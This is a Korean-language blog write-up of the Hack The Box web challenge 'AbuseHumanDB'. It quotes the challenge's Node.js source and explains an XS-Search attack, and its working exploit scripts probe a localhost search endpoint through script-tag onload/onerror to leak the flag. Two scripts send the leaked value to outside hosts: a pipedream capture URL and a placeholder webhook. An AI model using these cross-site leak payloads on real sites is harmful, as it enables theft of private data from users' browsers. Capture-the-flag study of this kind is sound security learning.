-
[HTB] AbuseHumanDB WriteupWargame/Hack The Box 2023. 4. 28. 13:42
우선 플래그 획득 조건을 확인해보자.
//database.js const sqlite = require('sqlite-async'); class Database { constructor(db_file) { this.db_file = db_file; this.db = undefined; } async connect() { this.db = await sqlite.open(this.db_file); } async migrate() { return this.db.exec(` PRAGMA case_sensitive_like=ON; DROP TABLE IF EXISTS userEntries; CREATE TABLE IF NOT EXISTS userEntries ( id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, title VARCHAR(255) NOT NULL UNIQUE, url VARCHAR(255) NOT NULL, approved BOOLEAN NOT NULL ); INSERT INTO userEntries (title, url, approved) VALUES ("Back The Hox :: Cyber Catastrophe Propaganda CTF against Aliens", "https://ctf.backthehox.ew/ctf/82", 1); INSERT INTO userEntries (title, url, approved) VALUES ("Drunk Alien Song | Patlamaya Devam (official video)", "https://www.youtune.com/watch?v=jPPT7TcFmAk", 1); INSERT INTO userEntries (title, url, approved) VALUES ("Mars Attacks! Earth is invaded by Martians with unbeatable weapons and a cruel sense of humor.", "https://www.imbd.com/title/tt0116996/", 1); INSERT INTO userEntries (title, url, approved) VALUES ("Professor Steven Rolling fears aliens could ‘plunder, conquer and colonise’ Earth if we contact them", "https://www.thebun.co.uk/tech/4119382/professor-steven-rolling-fears-aliens-could-plunder-conquer-and-colonise-earth-if-we-contact-them/", 1); INSERT INTO userEntries (title, url, approved) VALUES ("HTB{f4k3_fl4g_f0r_t3st1ng}","https://app.backthehox.ew/users/107", 0); // ##### ............................................................. (1) `); } async listEntries(approved=1) { // ##### ................................................ (2) return new Promise(async (resolve, reject) => { try { let stmt = await this.db.prepare("SELECT * FROM userEntries WHERE approved = ?"); resolve(await stmt.all(approved)); } catch(e) { console.log(e); reject(e); } }); } async getEntry(query, approved=1) { // ##### .............................................. (3) return new Promise(async (resolve, reject) => { try { let stmt = await this.db.prepare("SELECT * FROM userEntries WHERE title LIKE ? AND approved = ?"); resolve(await stmt.all(query, approved)); } catch(e) { console.log(e); reject(e); } }); } } module.exports = Database;
(1) 을 보면 플래그는 이미 데이터 베이스 초기 값에 저장되어있다. 다만, approved 값이 다른 데이터들과 다르게 0 으로 되어 있다.
(2),(3) 과 같이 웹 서비스 상에서 데이터베이스가 호출될 때 approved=1 이 디폴트로 설정되어 있음을 알 수 있다.
(구문들이 SQL Injection에 취약해보이지는 않아서 해당 시나리오는 배제했다)
실제로 웹 상에서 DB조회 기능의 결과는 approved가 1인 요소들만 출력됨을 확인 할 수 있다.
Index.js에서 database.js의 listEntries, getEntry 가 호출되는 로직을 살펴보면,
//index.js const bot = require('../bot'); const path = require('path'); const express = require('express'); const router = express.Router(); const response = data => ({ message: data }); const isLocalhost = req => ((req.ip == '127.0.0.1' && req.headers.host == '127.0.0.1:1337') ? 0 : 1); // ##### ........................................ (1) let db; router.get('/', (req, res) => { return res.sendFile(path.resolve('views/index.html')); }); router.get('/entries', (req, res) => { return res.sendFile(path.resolve('views/entries.html')); }); router.get('/api/entries', (req, res) => { return db.listEntries(isLocalhost(req)) // ###### .................................... (2) .then(entries => { res.json(entries); }) .catch(() => res.send(response('Something went wrong!'))); }); router.post('/api/entries', (req, res) => { const { url } = req.body; if (url) { uregex = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/ if (url.match(uregex)) { return bot.visitPage(url) .then(() => res.send(response('Your submission is now pending review!'))) .catch(() => res.send(response('Something went wrong! Please try again!'))) } return res.status(403).json(response('Please submit a valid URL!')); } return res.status(403).json(response('Missing required parameters!')); }); router.get('/api/entries/search', (req, res) => { if(req.query.q) { const query = `${req.query.q}%`; return db.getEntry(query, isLocalhost(req)) // ##### ............................................ (3) .then(entries => { if(entries.length == 0) return res.status(404).send(response('Your search did not yield any results!')); res.json(entries); }) .catch(() => res.send(response('Something went wrong! Please try again!'))); } return res.status(403).json(response('Missing required parameters!')); }); module.exports = database => { db = database; return router; };
(2),(3) 과 같이 isLocalhost(req)의 값을 기반으로 approved 판별에 쓰일 값을 전달해줌을 알 수 있고,
isLocalhost는 (1)과 같이 req.ip가 127.0.0.1 이어야 하며, req.header.host 값이 127.0.0.1:1337 이어야 한다.
정리하면, 플래그는 내부 사용자로부터 웹 서비스 내의 DB 조회 기능(listEntries, getEntry)을 이용 했을 시 approved 값이 0 이 되므로 플래그 값을 조회 가능하다는 것이다.
내부 사용자로부터 DB 조회를 유도하여 그 값을 확인하는 방법이 있는지를 염두해두며 분석을 이어나가 보자.
메인 페이지에 URL을 입력하는 기능이 있는데, 입력한 URL에 대해 bot이 아래와 같이 방문한다.
//bot.js const puppeteer = require('puppeteer'); const browser_options = { headless: true, //headless: false, args: [ '--no-sandbox', '--disable-background-networking', '--disable-default-apps', '--disable-extensions', '--disable-gpu', '--disable-sync', '--disable-translate', '--hide-scrollbars', '--metrics-recording-only', '--mute-audio', '--no-first-run', '--safebrowsing-disable-auto-update', '--js-flags=--noexpose_wasm,--jitless' // yoinking from strellic :sice: ] }; const visitPage = async url => { const browser = await puppeteer.launch(browser_options); let context = await browser.createIncognitoBrowserContext(); let page = await context.newPage(); await page.goto(url, { waitUntil: 'networkidle2' }); await page.waitForTimeout(7000); await browser.close(); }; module.exports = { visitPage };
headless 브라우저로 입력받는 url에 접근 후 7초 뒤 브라우저를 종료시킨다는 내용이다.
bot 활용이 가능하므로,
내 개인 서버에 접속한 사용자가 조회 기능(/api/entries/search) 을 실행하도록 하고 그 응답 데이터를 내 서버로 전달하도록 하는 스크립트를 작성 후 해당 URL을 bot이 접근하도록 해보았다.
코드 작성후 테스트 해보았을때 CORS 제한 정책 때문에 실행되지는 않았지만, 우선 approved = 0 으로 인식은 되는지 확인이 필요했기 때문에 로컬에 문제 서버를 구축하여 테스트를 해보았고 의도한대로 req.ip와 req.header.host가 인식되는 것을 확인 할 수 있었다.
// 참고 getResponse.jsp <script> const xhr = new XMLHttpRequest(); xhr.open('GET', 'http://209.97.131.43:30030/api/entries/search?q=aaaa'); xhr.onload = function() { if (xhr.status === 404) { console.log('404 Error'); } else { console.log(xhr.responseText); } }; xhr.send(); </script>
문제는, bot이 내가 코드를 작성해놓은 서버에 접근 후 제공받은 스크립트를 실행시키게 되는 것이기 때문에 SOP를 만족하지 않아 브라우저에서 CORS 제한을 하므로 스크립트 코드가 작동하지 않아, 플래그를 탈취 할 수 없다는 점이었다.
어떻게 우회 할까 이것 저것 해보다가.. 이용해봄직한 현상을 발견했다.
조회 기능에서 유효한 조회이면 200 OK 가 반환되지만, 결과 값이 없는 유효하지 않은 조회이면 404 Not Found 를 반환한다는 것이었다. 이 현상을 이용해서 XS-Leaks/XS-Search 기법을 이용하는 시나리오를 시도해 볼만 하다고 생각했다.
문제는 200 OK 일 때와 404 Not Found 일 때를 어떻게 구별하냐였다.
브라우저 콘솔 에러 메세지에 케이스 별로 net::ERR_FAILD 200 (OK) / net::ERR_FAILD 404 (Not Found) 가 구분되어 출력되긴 했지만 저 값을 따로 가져다 쓴다는 등, 해당 값을 기반으로 이후 스크립트 로직을 짤 수 없었다.
어떻게 이 문제를 해결 할 까 하다가, html 태그 중 src를 사용하는 요소를 활용해서 src가 유효한 url이냐(응답 코드)에 따라서 구분지을 수 있는 방법이 있지 않을까 생각해보았다.
여러 케이스를 테스트 해보기위해 아래와 같이 src 요소를 사용하는 html태그들 목록을 확인해 보았다.
다른 태그들도 테스트를 해보았으나 잘 되지 않았고.. script 태그에서 아래와 같이 테스트를 해보니 onload를 할 때 에러 발생 유무로 구분을 지을 수 있음을 확인했다.
<script> var script = document.createElement('script'); script.src = 'http://209.97.131.43:30030/api/entries/search?q=Ba'; // 200 OK //script.src = 'http://209.97.131.43:30030/api/entries/search?q=Vardy'; // 400 Not Found script.onload = function() { console.log('200 OK'); }; script.onerror = function() { console.error('Not Found'); }; document.head.appendChild(script); </script>
위 현상을 이용하여 플래그를 한 글자씩 조회하면서 onload가 성공 했을때 그 값을 개인 서버로 보내고, 플래그 값에 추가를 해주는 익스플로잇 코드를 작성했다.
<script> var charList = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!}_"; //var flag = "B" // not local user var flag = "HTB{" // locat user test //var flag = "HTB{5w33t_ali3ndr3n_0f_min3!" console.log('[*] FLAG = '+flag) //while(!flag.endsWith('x')){ for (var i = 0; i < charList.length; i++) { (function (Index) { setTimeout(function() { var script = document.createElement('script'); console.log(charList[Index]) var reqUrl = 'http://127.0.0.1:1337/api/entries/search?q='+flag+charList[Index]; script.src = reqUrl script.onload = function() { console.log('200 OK'); flag += charList[Index]; console.log(reqUrl) console.log("[*] FLAG = " +flag) fetch('https://eo92k973yrfg41e.m.pipedream.net/?FLAG='+flag) }; script.onerror = function() { console.error('Not Found'); }; document.head.appendChild(script); }, 500); })(i) } </script>
우선 해당 스크립트가 돌아가나 테스트를 해보았다. "Back The Hox"라는 키워드가 있어서, 초기 플래그를 "B"로 검색을 하면 Ba가 서버로 전송된다. 그 후 "Ba"로 재지정하여 시도하면 Bac가 서버로 전송되는 방식이다.
("_" 는 기본으로 허용되는 것 같다. 실제고 Bac_로 검색해도 유효하다.)
이제 flag의 시작값을 "HTB{"로 수정 후 bot에게 해당 페이지에 접근을 시도하면 플래그값을 추출 할 수 있을 것이다.
...
이렇게 한 글자가 추출될때마다 그 글자를 초기 플래그에 추가해주며 반복하면서 플래그를 추출했다..
...
FLAG = HTB{5w33t_ali3ndr3n_0f_min3!}
+ 아무래도 한글자씩 찾는거보다 더 효율적인 방법이 있을 것 같아서 알아봤는데, 7초 동안만 실행되더라도 그 사이에 여러 문자를 뽑는 방법이 있었다.
https://skelter.hashnode.dev/htb-abusehumandb-writeup
[HTB] AbuseHumandb writeup
Afaik, this is the first publicly available writeup on this challenge. abusehumandb is a fun one on HackTheBox, but i wouldn’t rate it as “easy”, compared to other easy ones there. . . If you have any questions, leave a comment, but for now, i’d re
skelter.hashnode.dev
<html> <script> var ip = ‘127.0.0.1:1337’; var ip2 = ‘138.68.131.63:30644’; var hook = ‘your_web_page.com’; var flag = ‘HTB’; var abc = ‘-+!@abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_’; var special = ‘_%\”\’’; var url1 = `http://${ip}/api/entries/search?q=` async function getPartialFlag(char){ return new Promise((resolve, reject)=>{ const script = document.createElement(“script”); script.src = url1+encodeURIComponent(flag+char); script.onload = () => char===’}’ ? reject(char):resolve(char); script.onerror = () => reject(char); document.head.appendChild(script); }); } async function getFlag(chars) { var b = false; var char; for(var i=0; i < chars.length; i++){ char = special.includes(chars[i]) ? ‘\\’+chars[i]:chars[i]; await getPartialFlag(char).then((res) => {flag=flag.concat(res); b = res===’}’ ? true:false; i=0} , (res)=> { } ); if(b) break;} fetch(`http://${hook}/flag=${flag}`, {method:’get’}); }; getFlag(abc); </script> <html>
반응형'Wargame > Hack The Box' 카테고리의 다른 글
[HTB] Diogenes' Rage Writeup (0) 2023.05.04 [HTB] Precious Writeup (0) 2023.05.02 [HTB] petite rcbee Writeup (0) 2023.04.25 [HTB] Toxic Writeup (0) 2023.04.21 [HTB] Inject Writeup (1) 2023.04.19